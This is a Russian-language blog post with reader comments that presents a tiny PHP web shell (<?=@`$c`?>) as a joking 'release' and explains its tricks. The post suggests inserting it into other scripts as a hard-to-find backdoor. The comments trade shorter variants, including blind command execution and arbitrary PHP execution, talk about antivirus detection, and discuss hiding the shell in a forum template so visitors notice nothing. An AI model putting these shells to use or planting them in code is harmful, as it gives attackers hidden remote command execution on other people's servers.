Categories
Releases

Мега релиз: самый короткий шелл =)

Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:

<?=@`$c`?>

Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) – довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
Плюсы моего шелла: размер!
Минусы: нужны short_open_tag и register_globals

20 replies on “Мега релиз: самый короткий шелл =)”

Прикольно, настоящийи webshell а антивирь только подтвреждает
это.

@R.e.a.L.
каким антивирем ты пользовался? На вирустотале ни один антивирь ничего подозрительного не увидел

@Pento
главный минус – это функциональность =)

касперь 6.0 при запуске скрипта с этим шелом однозначно определяет как потенциально опасное ПО а именно ROOTShell

ого! спасибо за информацию, не ожидал, что этот кусочек кода может быть как-то распознан )

предлагаю немного уменьшить и убрать @! итого получим 9 байт! )

мы же всегда будем передавать параметр… поэтому при регистрер глобалс переменная всегда будет инициализированя…

ПС: первый раз написал сам шелл и ПХП обрезано было (

> мы же всегда будем передавать параметр…
а если это форум? или еще какой движок? допустим, вставим мы в какой-нибудь template.php этот шелл. template.php инклудится из index.php, etc.php. Заходя на сайт/форум, просой постетель будет видеть ошибку php, так как никаких параметров $c он передавать не будет. Так что, лучше подстраховаться и поставить заглушку @.

>просой постетель будет видеть ошибку php
верно, но в принципе подавление ошибок можно убрать, так как неинициализированная переменная вызывает ошибку уровня E_NOTICE, а на всех хостингах обычно error_reporting выставлен в 7 или даже 0.

А какая разница скока весит шелл ?
10 байт или ещё плюс 6 🙂

Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 9 байт), серьезно не воспринимать! =) Итак, та-дам:
<?=@`$z`;

<?`$a`;
слепое выполнение кода – 7байт

<?$a($b);
выполнение произвольного php-кода

кто меньше?
ы =)

Прикольно. Хотел написать пример ещё короче, но вышло, что c411k меня уже опередил… да и новость смотрю довольно старая.

Коммент пишу только потому, что не слышал про самый последний пример электа:
<?$a($b);

КАК это работает?

А где вы собираетесь ставить шеллы с “;” на конце, не в конец ли файла? Однако, немного примечательно. Но, если на то пошло:

“<?$a($b);
выполнение произвольного php-кода"
– 9 байт и заморочки с синтаксисом, нельзя в тупую присвоить переменной "a" команду. Пример: при "a" равном "echo 'ololo'" – Parse error: syntax error, unexpected '(', expecting ',' or ';' on line 1
Но плюс в том, что не нужен short_open_tag (который по дефолту включён).

<?=@`$c`;
– 9 байт без заморочек с синтаксисом (минус выше).

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.